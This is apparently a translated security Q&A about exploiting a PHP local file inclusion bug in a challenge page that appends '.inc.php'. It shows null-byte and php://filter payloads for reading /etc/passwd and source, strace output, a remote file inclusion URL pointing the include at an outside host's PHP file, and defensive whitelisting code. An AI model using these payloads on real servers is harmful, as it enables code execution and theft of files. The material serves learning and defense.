将“.inc.php”附加到文件名时利用 LFI 错误?

信息安全 php 网址 文件包含
2021-08-14 18:51:37

我正在尝试利用 LFI 错误。我的链接如下所示:

http://example.com/challenge/mypage.php?page=test

当我把/etc/passwd而不是test它告诉我:

警告:include() [function.include]: 未能打开 '/etc/passwd.inc.php' 以包含 (include_path='.:/opt/alt/php53/usr/share/pear:/opt/alt/php53 /usr/share/php')

如您所见,默认情况下它连接.inc.php到文件的末尾。为了绕过它,我试图像这样添加空值:

http://example.com/challenge/mypage.php?page=/etc/passwd%00

我仍然收到错误,但没有.inc.php这个时间:

警告:include() [function.include]: 未能打开 '/etc/passwd' 以包含 (include_path='.:/opt/alt/php53/usr/share/pear:/opt/alt/php53/usr/share /php')

我什至手动添加了test.inc.php%00,但我再次收到相同的消息:

警告:include() [function.include]:未能打开“test.inc.php”以包含(include_path='.:/opt/alt/php53/usr/share/pear:/opt/alt/php53/usr/分享/php')

我试图检查php://input,但php://filterdata://text/plain;base64没有用。

您对如何利用此错误有任何想法吗?

当我使用区分大小写的包装器时,它正在工作,

http://example.com/challenge/mypage.php?page=pHp://FilTer/convert.base64-encode/resource=test

输出是 base64 编码的字符串,如下所示:

PD8KZWNobygnVETVCBQQUdFICEhIScpOwo/Pg==

但是当我尝试读取index.php输出时:

http://example.com/challenge/mypage.php?page=pHp://FilTer/convert.base64-encode/resource=index.php%00

警告:include() [function.include]:未能打开“index.php”以进行包含

1个回答

我认为它不起作用,因为您正在通过安全检查。

我跑去strace看 PHP 在包含一个合法名称的文件(尽管不存在)和一个非法名称的文件时做了什么。它的行为不同

lstat("/home/lserni/./legal.inc.php"...) = -1 ENOENT (No such file or directory)
lstat("/home/lserni/legal.inc.php"...) = -1 ENOENT (No such file or directory)
lstat("/home/lserni/legal.inc.php"...) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/home/lserni/legal.inc.php", O_RDONLY) = -1 ENOENT ...
write(2, "PHP Warning:  include(): Failed "..., 154
PHP Warning:  include(): Failed opening 'legal.inc.php' for inclusion...

write(2, "PHP Warning:  include(): Failed "..., 148
PHP Warning:  include(): Failed opening 'illegal' for inclusion...

所以从上面你可以看到合法的文件名在文件系统上被检查了两次——即使 PHP 发现文件不存在(这个额定 0.2 kWTF)并发出错误,也会尝试打开。

非法文件名发出相同的错误,但甚至没有尝试检查文件是否存在。

我很有信心,如果我检查 PHP 源代码,我会发现一些测试会伪造“此文件不在这里”错误,而实际上 PHP 决定不打开该文件,无论它是否存在

远程文件包含

“文件包含”漏洞意味着您可以向服务器发送一些内容,使其能够include()(并执行)选择的文件。该文件可以是本地的(本地文件包含或 LFI)或远程 (RFI)。

要利用 RFI,您需要不同域上的远程文件;不是您要测试的那个,而是另一个。

这个远程文件,而不是本地文件,必须在您的控制之下。

远程文件的内容必须使易受攻击的服务器包含它;也就是说,它必须是有效的 PHP。

远程文件一旦包含在内,将在易受攻击的服务器内执行,因此可以访问其本地文件(但不再访问远程文件)。

因此,如果远程文件显示include('index.php');”或“指令” die(file_get_contents('index.php'));,它将读取的不是远程服务器的 index.php,而是易受攻击服务器的 index.php(这是我们想要做的)。

同时,远程文件将在远程服务器上执行,因此我们希望它执行一些 PHP 代码,该代码将显示另一个 PHP 代码

例如,这是以下内容http://www.serni.org/i.inc.php

<?php
    // The outer code is just a print.

    print <<<INNER_CODE
<?php
    // This is a sample remote file inclusion vulnerability.
    // It will simply count how many files there are in the
    // vulnerable script's directory.

    \$files = count(glob('*.*'));
    print "This folder contains {\$files} files.";

    // Just sayin'.
    // shell_exec("FORMAT A: /Y /AUTOTEST");
INNER_CODE;

如果您将其http://www.serni.org/i.inc.php用作资源,并且 RFI 有效,则易受攻击的页面将返回该目录中的文件数。

G1mm3 th3 cod3z (TL;DR;DT)

http://example.com/challenge/mypage.php?page=http%3A%2F%2Fwww.serni.org%2Fi

如何防守

显然,清理你的输入。或者更好的是,将它们列入白名单,并且只允许非常简单的组合。除非您需要包含远程资源(发生这种情况),否则请设置allow_url_fopenfalse

$allowed_resources = '#^[A-Za-z_0-9-]+$#';
$ok = false;
if (preg_match($allowed_resources, $resource)) {
    $actual_file = realpath("external_resources/{$resource}.php");
    // We could verify that actual_file matches _SERVER_ROOT/external...
    if (file_exists($actual_file)) {
        include $actual_file;
        $ok = true;
    }
}
if (!$ok) {
    // We don't want to send back to clients whatever they sent us; that way lie XS vulnerabilities.
    $resource = basename(strip_tags($resource));
    // Mess a little with people's heads.
    die("Warning: include() [function.include]: Failed opening 'C:\\Inetpub\\Resources\\{$resource}.aspx' for inclusion (include_path='C:\\;C:\\WINDOWS;C:\\Program Files\\Nginx;C:\\Python\\Tornado5\\modules')");
}